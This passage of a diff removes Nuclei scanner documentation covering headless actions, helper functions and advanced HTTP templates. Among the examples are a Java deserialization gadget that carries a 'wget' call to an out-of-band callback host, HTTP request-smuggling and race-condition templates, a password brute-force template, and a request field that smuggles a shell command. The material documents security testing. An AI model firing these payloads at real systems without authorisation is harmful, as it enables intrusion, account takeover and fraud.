|
||||
DeleteHeader deletes a header from requests / responses.
|
||||
|
||||
```yaml
|
||||
action: deleteheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
```
|
||||
|
||||
#### setbody
|
||||
|
||||
SetBody sets the body for a request / response.
|
||||
|
||||
```yaml
|
||||
action: setbody
|
||||
args:
|
||||
part: response # can be request too
|
||||
body: '{"success":"ok"}'
|
||||
```
|
||||
|
||||
#### waitevent
|
||||
|
||||
WaitEvent waits for an event to trigger on the page.
|
||||
|
||||
```yaml
|
||||
action: waitevent
|
||||
args:
|
||||
event: 'Page.loadEventFired'
|
||||
```
|
||||
|
||||
The list of events supported are listed [here](https://github.com/go-rod/rod/blob/master/lib/proto/definitions.go).
|
||||
|
||||
|
||||
#### keyboard
|
||||
|
||||
Keyboard simulates a single key-press on the keyboard.
|
||||
|
||||
```yaml
|
||||
action: keyboard
|
||||
args:
|
||||
keys: '\r' # this simulates pressing enter key on keyboard
|
||||
```
|
||||
|
||||
`keys` argument accepts key-codes.
|
||||
|
||||
#### debug
|
||||
|
||||
Debug adds a delay of 5 seconds between each headless action and also shows a trace of all the headless events occurring in the browser.
|
||||
|
||||
> Note: Only use this for debugging purposes, don't use this in production templates.
|
||||
|
||||
```yaml
|
||||
action: debug
|
||||
```
|
||||
|
||||
#### sleep
|
||||
|
||||
Sleeps makes the browser wait for a specified duration in seconds. This is also useful for debugging purposes.
|
||||
|
||||
```yaml
|
||||
action: sleep
|
||||
args:
|
||||
duration: 5
|
||||
```
|
||||
|
||||
### Selectors
|
||||
|
||||
Selectors are how nuclei headless engine identifies what element to execute an action on. Nuclei supports getting selectors by including a variety of options -
|
||||
|
||||
| Selector | Description |
|
||||
|----------------------|-----------------------------------------------------|
|
||||
| `r` / `regex` | Element matches CSS Selector and Text Matches Regex |
|
||||
| `x` / `xpath` | Element matches XPath selector |
|
||||
| `js` | Return elements from a JS function |
|
||||
| `search` | Search for a query (can be text, XPATH, CSS) |
|
||||
| `selector` (default) | Element matches CSS Selector |
|
||||
|
||||
### Matchers / Extractor Parts
|
||||
|
||||
Valid `part` values supported by **Headless** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|-------------------|---------------------------------|
|
||||
| request | Headless Request |
|
||||
| `<out_names>` | Action names with stored values |
|
||||
| raw / body / data | Final DOM response from browser |
|
||||
|
||||
### **Example Headless Template**
|
||||
|
||||
An example headless template to automatically login into DVWA is provided below -
|
||||
|
||||
|
||||
```yaml
|
||||
id: dvwa-headless-automatic-login
|
||||
info:
|
||||
name: DVWA Headless Automatic Login
|
||||
author: pdteam
|
||||
severity: high
|
||||
headless:
|
||||
- steps:
|
||||
- args:
|
||||
url: "{{BaseURL}}/login.php"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
value: admin
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: text
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
value: password
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: text
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/p/input
|
||||
action: click
|
||||
- action: waitload
|
||||
matchers:
|
||||
- part: resp
|
||||
type: word
|
||||
words:
|
||||
- "You have logged in as"
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/headless).
|
||||
|
||||
|
||||
|
||||
@ -1,238 +0,0 @@
|
||||
---
|
||||
title: "Helper Functions"
|
||||
---
|
||||
|
||||
### Helper functions
|
||||
|
||||
Here is the list of all supported helper functions can be used in the RAW requests / Network requests.
|
||||
|
||||
| Helper function | Description | Example | Output |
|
||||
|-----------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| aes_gcm(key, plaintext interface{}) []byte | AES GCM encrypts a string with key | `{{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}` | `ec183a153b8e8ae7925beed74728534b57a60920c0b009eaa7608a34e06325804c096d7eebccddea3e5ed6c4` |
|
||||
| base64(src interface{}) string | Base64 encodes a string | `base64("Hello")` | `SGVsbG8=` |
|
||||
| base64_decode(src interface{}) []byte | Base64 decodes a string | `base64_decode("SGVsbG8=")` | `Hello` |
|
||||
| base64_py(src interface{}) string | Encodes string to base64 like python (with new lines) | `base64_py("Hello")` | `SGVsbG8=\n` |
|
||||
| bin_to_dec(binaryNumber number | string) float64 | Transforms the input binary number into a decimal format | `bin_to_dec("0b1010")`\<br>`bin_to_dec(1010)` | `10` |
|
||||
| compare_versions(versionToCheck string, constraints ...string) bool | Compares the first version argument with the provided constraints | `compare_versions('v1.0.0', '\>v0.0.1', '\<v1.0.1')` | `true` |
|
||||
| concat(arguments ...interface{}) string | Concatenates the given number of arguments to form a string | `concat("Hello", 123, "world)` | `Hello123world` |
|
||||
| contains(input, substring interface{}) bool | Verifies if a string contains a substring | `contains("Hello", "lo")` | `true` |
|
||||
| contains_all(input interface{}, substrings ...string) bool | Verifies if any input contains all of the substrings | `contains("Hello everyone", "lo", "every")` | `true` |
|
||||
| contains_any(input interface{}, substrings ...string) bool | Verifies if an input contains any of substrings | `contains("Hello everyone", "abc", "llo")` | `true` |
|
||||
| date_time(dateTimeFormat string, optionalUnixTime interface{}) string | Returns the formatted date time using simplified or `go` style layout for the current or the given unix time | `date_time("%Y-%M-%D %H:%m")`\<br\>`date_time("%Y-%M-%D %H:%m", 1654870680)`\<br\>`date_time("2006-01-02 15:04", unix_time())` | `2022-06-10 14:18` |
|
||||
| dec_to_hex(number number | string) string | Transforms the input number into hexadecimal format | `dec_to_hex(7001)"` | `1b59` |
|
||||
| ends_with(str string, suffix ...string) bool | Checks if the string ends with any of the provided substrings | `ends_with("Hello", "lo")` | `true` |
|
||||
| generate_java_gadget(gadget, cmd, encoding interface{}) string | Generates a Java Deserialization Gadget | `generate_java_gadget("dns", "{{interactsh-url}}", "base64")` | `rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54` |
|
||||
| generate_jwt(json, algorithm, signature, unixMaxAge) []byte | Generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm | `generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")` | `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U` |
|
||||
| gzip(input string) string | Compresses the input using GZip | `base64(gzip("Hello"))` | `+H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA=` |
|
||||
| gzip_decode(input string) string | Decompresses the input using GZip | `gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))` | `Hello` |
|
||||
| hex_decode(input interface{}) []byte | Hex decodes the given input | `hex_decode("6161")` | `aa` |
|
||||
| hex_encode(input interface{}) string | Hex encodes the given input | `hex_encode("aa")` | `6161` |
|
||||
| hex_to_dec(hexNumber number | string) float64 | Transforms the input hexadecimal number into decimal format | `hex_to_dec("ff")`\<br\>`hex_to_dec("0xff")` | `255` |
|
||||
| hmac(algorithm, data, secret) string | hmac function that accepts a hashing function type with data and secret | `hmac("sha1", "test", "scrt")` | `8856b111056d946d5c6c92a21b43c233596623c6` |
|
||||
| html_escape(input interface{}) string | HTML escapes the given input | `html_escape("\<body\>test\</body\>")` | `<body>test</body>` |
|
||||
| html_unescape(input interface{}) string | HTML un-escapes the given input | `html_unescape("<body>test</body>")` | `\<body\>test\</body\>` |
|
||||
| join(separator string, elements ...interface{}) string | Joins the given elements using the specified separator | `join("_", 123, "hello", "world")` | `123_hello_world` |
|
||||
| json_minify(json) string | Minifies a JSON string by removing unnecessary whitespace | `json_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }")` | `{"foo":"bar","name":"John Doe"}` |
|
||||
| json_prettify(json) string | Prettifies a JSON string by adding indentation | `json_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}")` | `{\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}` |
|
||||
| len(arg interface{}) int | Returns the length of the input | `len("Hello")` | `5` |
|
||||
| line_ends_with(str string, suffix ...string) bool | Checks if any line of the string ends with any of the provided substrings | `line_ends_with("Hello\nHi", "lo")` | `true` |
|
||||
| line_starts_with(str string, prefix ...string) bool | Checks if any line of the string starts with any of the provided substrings | `line_starts_with("Hi\nHello", "He")` | `true` |
|
||||
| md5(input interface{}) string | Calculates the MD5 (Message Digest) hash of the input | `md5("Hello")` | `8b1a9953c4611296a827abf8c47804d7` |
|
||||
| mmh3(input interface{}) string | Calculates the MMH3 (MurmurHash3) hash of an input | `mmh3("Hello")` | `316307400` |
|
||||
| oct_to_dec(octalNumber number | string) float64 | Transforms the input octal number into a decimal format | `oct_to_dec("0o1234567")`\<br\>`oct_to_dec(1234567)` | `342391` |
|
||||
| print_debug(args ...interface{}) | Prints the value of a given input or expression. Used for debugging. | `print_debug(1+2, "Hello")` | `3 Hello` |
|
||||
| rand_base(length uint, optionalCharSet string) string | Generates a random sequence of given length string from an optional charset (defaults to letters and numbers) | `rand_base(5, "abc")` | `caccb` |
|
||||
| rand_char(optionalCharSet string) string | Generates a random character from an optional character set (defaults to letters and numbers) | `rand_char("abc")` | `a` |
|
||||
| rand_int(optionalMin, optionalMax uint) int | Generates a random integer between the given optional limits (defaults to 0 - MaxInt32) | `rand_int(1, 10)` | `6` |
|
||||
| rand_text_alpha(length uint, optionalBadChars string) string | Generates a random string of letters, of given length, excluding the optional cutset characters | `rand_text_alpha(10, "abc")` | `WKozhjJWlJ` |
|
||||
| rand_text_alphanumeric(length uint, optionalBadChars string) string | Generates a random alphanumeric string, of given length without the optional cutset characters | `rand_text_alphanumeric(10, "ab12")` | `NthI0IiY8r` |
|
||||
| rand_ip(cidr ...string) string | Generates a random IP address | `rand_ip("192.168.0.0/24")` | `192.168.0.171` |
|
||||
| rand_text_numeric(length uint, optionalBadNumbers string) string | Generates a random numeric string of given length without the optional set of undesired numbers | `rand_text_numeric(10, 123)` | `0654087985` |
|
||||
| regex(pattern, input string) bool | Tests the given regular expression against the input string | `regex("H([a-z]+)o", "Hello")` | `true` |
|
||||
| remove_bad_chars(input, cutset interface{}) string | Removes the desired characters from the input | `remove_bad_chars("abcd", "bc")` | `ad` |
|
||||
| repeat(str string, count uint) string | Repeats the input string the given amount of times | `repeat("../", 5)` | `../../../../../` |
|
||||
| replace(str, old, new string) string | Replaces a given substring in the given input | `replace("Hello", "He", "Ha")` | `Hallo` |
|
||||
| replace_regex(source, regex, replacement string) string | Replaces substrings matching the given regular expression in the input | `replace_regex("He123llo", "(\\d+)", "")` | `Hello` |
|
||||
| reverse(input string) string | Reverses the given input | `reverse("abc")` | `cba` |
|
||||
| sha1(input interface{}) string | Calculates the SHA1 (Secure Hash 1) hash of the input | `sha1("Hello")` | `f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0` |
|
||||
| sha256(input interface{}) string | Calculates the SHA256 (Secure Hash 256) hash of the input | `sha256("Hello")` | `185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969` |
|
||||
| starts_with(str string, prefix ...string) bool | Checks if the string starts with any of the provided substrings | `starts_with("Hello", "He")` | `true` |
|
||||
| to_lower(input string) string | Transforms the input into lowercase characters | `to_lower("HELLO")` | `hello` |
|
||||
| to_unix_time(input string, layout string) int | Parses a string date time using default or user given layouts, then returns its Unix timestamp | `to_unix_time("2022-01-13T16:30:10+00:00")`\<br\>`to_unix_time("2022-01-13 16:30:10")`\<br\>`to_unix_time("13-01-2022 16:30:10". "02-01-2006 15:04:05")` | `1642091410` |
|
||||
| to_upper(input string) string | Transforms the input into uppercase characters | `to_upper("hello")` | `HELLO` |
|
||||
| trim(input, cutset string) string | Returns a slice of the input with all leading and trailing Unicode code points contained in cutset removed | `trim("aaaHelloddd", "ad")` | `Hello` |
|
||||
| trim_left(input, cutset string) string | Returns a slice of the input with all leading Unicode code points contained in cutset removed | `trim_left("aaaHelloddd", "ad")` | `Helloddd` |
|
||||
| trim_prefix(input, prefix string) string | Returns the input without the provided leading prefix string | `trim_prefix("aaHelloaa", "aa")` | `Helloaa` |
|
||||
| trim_right(input, cutset string) string | Returns a string, with all trailing Unicode code points contained in cutset removed | `trim_right("aaaHelloddd", "ad")` | `aaaHello` |
|
||||
| trim_space(input string) string | Returns a string, with all leading and trailing white space removed, as defined by Unicode | `trim_space(" Hello ")` | `"Hello"` |
|
||||
| trim_suffix(input, suffix string) string | Returns input without the provided trailing suffix string | `trim_suffix("aaHelloaa", "aa")` | `aaHello` |
|
||||
| unix_time(optionalSeconds uint) float64 | Returns the current Unix time (number of seconds elapsed since January 1, 1970 UTC) with the added optional seconds | `unix_time(10)` | `1639568278` |
|
||||
| url_decode(input string) string | URL decodes the input string | `url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")` | `https://projectdiscovery.io?test=1` |
|
||||
| url_encode(input string) string | URL encodes the input string | `url_encode("https://projectdiscovery.io/test?a=1")` | `https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1` |
|
||||
| wait_for(seconds uint) | Pauses the execution for the given amount of seconds | `wait_for(10)` | `true` |
|
||||
| zlib(input string) string | Compresses the input using Zlib | `base64(zlib("Hello"))` | `eJzySM3JyQcEAAD//wWMAfU=` |
|
||||
| zlib_decode(input string) string | Decompresses the input using Zlib | `zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))` | `Hello` |
|
||||
|resolve(host string, format string) string |Resolves a host using a dns type that you define| `resolve("localhost",4)`| `127.0.0.1`|
|
||||
|ip_format(ip string, format string) string|It takes an input ip and converts it to another format according to this [legend](https://github.com/projectdiscovery/mapcidr/wiki/IP-Format-Index), the second parameter indicates the conversion index and must be between 1 and 11| `ip_format("127.0.0.1", 3)`| `0177.0.0.01`|
|
||||
|
||||
### Deserialization helper functions
|
||||
|
||||
Nuclei allows payload generation for a few common gadget from [ysoserial](https://github.com/frohoff/ysoserial).
|
||||
|
||||
**Supported Payload:**
|
||||
|
||||
- `dns` (URLDNS)
|
||||
- `commons-collections3.1`
|
||||
- `commons-collections4.0`
|
||||
- `jdk7u21`
|
||||
- `jdk8u20`
|
||||
- `groovy1`
|
||||
|
||||
**Supported encodings:**
|
||||
|
||||
- `base64` (default)
|
||||
- `gzip-base64`
|
||||
- `gzip`
|
||||
- `hex`
|
||||
- `raw`
|
||||
|
||||
**Deserialization helper function format:**
|
||||
|
||||
```yaml
|
||||
{{generate_java_gadget(payload, cmd, encoding}}
|
||||
```
|
||||
|
||||
**Deserialization helper function example:**
|
||||
|
||||
```yaml
|
||||
{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
||||
```
|
||||
### JSON helper functions
|
||||
|
||||
Nuclei allows manipulate JSON strings in different ways, here is a list of its functions:
|
||||
|
||||
- `generate_jwt`, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm.
|
||||
- `json_minify`, to minifies a JSON string by removing unnecessary whitespace.
|
||||
- `json_prettify`, to prettifies a JSON string by adding indentation.
|
||||
|
||||
**Examples**
|
||||
|
||||
**`generate_jwt`**
|
||||
|
||||
To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, _at least_.
|
||||
|
||||
Here is a list of supported algorithms for generating JWTs with `generate_jwt` function _(case-insensitive)_:
|
||||
|
||||
- `HS256`
|
||||
- `HS384`
|
||||
- `HS512`
|
||||
- `RS256`
|
||||
- `RS384`
|
||||
- `RS512`
|
||||
- `PS256`
|
||||
- `PS384`
|
||||
- `PS512`
|
||||
- `ES256`
|
||||
- `ES384`
|
||||
- `ES512`
|
||||
- `EdDSA`
|
||||
- `NONE`
|
||||
|
||||
Empty string ("") also means `NONE`.
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{generate_jwt(json, algorithm, signature, maxAgeUnix)}}
|
||||
```
|
||||
|
||||
> Arguments other than `json` are optional.
|
||||
|
||||
Example:
|
||||
```yaml
|
||||
variables:
|
||||
json: | # required
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
alg: "HS256" # optional
|
||||
sig: "this_is_secret" # optional
|
||||
age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # optional
|
||||
jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}'
|
||||
```
|
||||
|
||||
> The `maxAgeUnix` argument is to set the expiration `"exp"` JWT standard claim, as well as the `"iat"` claim when you call the function.
|
||||
|
||||
**`json_minify`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{json_minify(json)}}
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
json: |
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
minify: '{{json_minify(json}}'
|
||||
```
|
||||
|
||||
`minify` variable output:
|
||||
|
||||
```json
|
||||
{"foo":"bar","name":"John Doe"}
|
||||
```
|
||||
|
||||
**`json_prettify`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{json_prettify(json)}}
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
json: '{"foo":"bar","name":"John Doe"}'
|
||||
pretty: '{{json_prettify(json}}'
|
||||
```
|
||||
|
||||
`pretty` variable output:
|
||||
|
||||
```json
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
```
|
||||
|
||||
**`resolve`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{resolve(host,format)}}
|
||||
```
|
||||
|
||||
Here is a list of formats available for dns type:
|
||||
|
||||
- `4` or `a`
|
||||
- `6` or `aaaa`
|
||||
- `cname`
|
||||
- `ns`
|
||||
- `txt`
|
||||
- `srv`
|
||||
- `ptr`
|
||||
- `mx`
|
||||
- `soa`
|
||||
- `caa`
|
||||
|
||||
@ -1,336 +0,0 @@
|
||||
---
|
||||
title: "Advance HTTP"
|
||||
---
|
||||
|
||||
We’ve enriched nuclei to allow advanced scanning of web servers. Users can now use multiple options to tune HTTP request workflows.
|
||||
|
||||
### Pipelining
|
||||
|
||||
HTTP Pipelining support has been added which allows multiple HTTP requests to be sent on the same connection inspired from [http-desync-attacks-request-smuggling-reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn).
|
||||
|
||||
Before running HTTP pipelining based templates, make sure the running target supports HTTP Pipeline connection, otherwise nuclei engine fallbacks to standard HTTP request engine.
|
||||
|
||||
If you want to confirm the given domain or list of subdomains supports HTTP Pipelining, [httpx](https://github.com/projectdiscovery/) has a flag `-pipeline` to do so.
|
||||
|
||||
An example configuring showing pipelining attributes of nuclei.
|
||||
|
||||
```yaml
|
||||
unsafe: true
|
||||
pipeline: true
|
||||
pipeline-concurrent-connections: 40
|
||||
pipeline-requests-per-connection: 25000
|
||||
```
|
||||
|
||||
An example template demonstrating pipelining capabilities of nuclei has been provided below-
|
||||
|
||||
```yaml
|
||||
id: pipeline-testing
|
||||
info:
|
||||
name: pipeline testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
GET /{{path}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Referer: {{BaseURL}}
|
||||
|
||||
attack: batteringram
|
||||
payloads:
|
||||
path: path_wordlist.txt
|
||||
|
||||
unsafe: true
|
||||
pipeline: true
|
||||
pipeline-concurrent-connections: 40
|
||||
pipeline-requests-per-connection: 25000
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
### Connection pooling
|
||||
|
||||
While the earlier versions of nuclei did not do connection pooling, users can now configure templates to either use HTTP connection pooling or not. This allows for faster scanning based on requirement.
|
||||
|
||||
To enable connection pooling in the template, `threads` attribute can be defined with respective number of threads you wanted to use in the payloads sections.
|
||||
|
||||
`Connection: Close` header can not be used in HTTP connection pooling template, otherwise engine will fail and fallback to standard HTTP requests with pooling.
|
||||
|
||||
An example template using HTTP connection pooling-
|
||||
|
||||
```yaml
|
||||
id: fuzzing-example
|
||||
info:
|
||||
name: Connection pooling example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
GET /protected HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Authorization: Basic {{base64('admin:§password§')}}
|
||||
|
||||
attack: batteringram
|
||||
payloads:
|
||||
password: password.txt
|
||||
threads: 40
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "Unique string"
|
||||
part: body
|
||||
```
|
||||
|
||||
### Smuggling
|
||||
|
||||
HTTP Smuggling is a class of Web-Attacks recently made popular by [Portswigger’s Research](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) into the topic. For an in-depth overview, please visit the article linked above.
|
||||
|
||||
In the open source space, detecting http smuggling is difficult particularly due to the requests for detection being malformed by nature. Nuclei is able to reliably detect HTTP Smuggling vulnerabilities utilising the [rawhttp](https://github.com/projectdiscovery/rawhttp) engine.
|
||||
|
||||
The most basic example of an HTTP Smuggling vulnerability is CL.TE Smuggling. An example template to detect a CE.TL HTTP Smuggling vulnerability is provided below using the `unsafe: true` attribute for rawhttp based requests.
|
||||
|
||||
```yaml
|
||||
id: CL-TE-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'Unrecognized method GPOST'
|
||||
```
|
||||
|
||||
More examples are available in [template-example](/template-example/http/http-smuggling/) section for smuggling templates.
|
||||
|
||||
### Race conditions
|
||||
|
||||
Race Conditions are another class of bugs not easily automated via traditional tooling. Burp Suite introduced a Gate mechanism to Turbo Intruder where all the bytes for all the requests are sent expect the last one at once which is only sent together for all requests synchronizing the send event.
|
||||
|
||||
We have implemented **Gate** mechanism in nuclei engine and allow them run via templates which makes the testing for this specific bug class simple and portable.
|
||||
|
||||
To enable race condition check within template, `race` attribute can be set to `true` and `race_count` defines the number of simultaneous request you want to initiate.
|
||||
|
||||
Below is an example template where the same request is repeated for 10 times using the gate logic.
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race condition testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /coupons HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
promo_code=20OFF
|
||||
|
||||
race: true
|
||||
race_count: 10
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
You can simply replace the `POST` request with any suspected vulnerable request and change the `race_count` as per your need, and it's ready to run.
|
||||
|
||||
```bash
|
||||
nuclei -t race.yaml -target https://api.target.com
|
||||
```
|
||||
|
||||
**Multi request race condition testing**
|
||||
|
||||
For the scenario when multiple requests needs to be sent in order to exploit the race condition, we can make use of threads.
|
||||
|
||||
```yaml
|
||||
threads: 5
|
||||
race: true
|
||||
```
|
||||
|
||||
`threads` is a total number of request you wanted make with the template to perform race condition testing.
|
||||
|
||||
|
||||
Below is an example template where multiple (5) unique request will be sent at the same time using the gate logic.
|
||||
|
||||
```yaml
|
||||
id: multi-request-race
|
||||
|
||||
info:
|
||||
name: Race condition testing with multiple requests
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=1
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=2
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=3
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=4
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=5
|
||||
|
||||
threads: 5
|
||||
race: true
|
||||
```
|
||||
|
||||
## Requests Annotation
|
||||
|
||||
Request inline annotations allow performing per request properties/behavior override. They are very similar to python/java class annotations and must be put on the request just before the RFC line. Currently, only the following overrides are supported:
|
||||
|
||||
- `@Host:` which overrides the real target of the request (usually the host/ip provided as input). It supports syntax with ip/domain, port, and scheme, for example: `domain.tld`, `domain.tld:port`, `http://domain.tld:port`
|
||||
- `@tls-sni:` which overrides the SNI Name of the TLS request (usually the hostname provided as input). It supports any literals. The special value `request.host` uses the `Host` header and `interactsh-url` uses an interactsh generated URL.
|
||||
- `@timeout:` which overrides the timeout for the request to a custom duration. It supports durations formatted as string. If no duration is specified, the default Timeout flag value is used.
|
||||
|
||||
The following example shows the annotations within a request:
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@Host: https://projectdiscovery.io:443
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
```
|
||||
This is particularly useful, for example, in the case of templates with multiple requests, where one request after the initial one needs to be performed to a specific host (for example, to check an API validity):
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
# this request will be sent to {{Hostname}} to get the token
|
||||
- |
|
||||
GET /getkey HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
# This request will be sent instead to https://api.target.com:443 to verify the token validity
|
||||
- |
|
||||
@Host: https://api.target.com:443
|
||||
GET /api/key={{token}} HTTP/1.1
|
||||
Host: api.target.com:443
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: token
|
||||
part: body
|
||||
regex:
|
||||
# random extractor of strings between prefix and suffix
|
||||
- 'prefix(.*)suffix'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- valid token
|
||||
```
|
||||
|
||||
Example of a custom `timeout` annotations -
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@timeout: 25s
|
||||
POST /conf_mail.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
|
||||
```
|
||||
|
||||
Example of `sni` annotation with `interactsh-url` -
|
||||
|
||||
```yaml
|
||||
- |
|
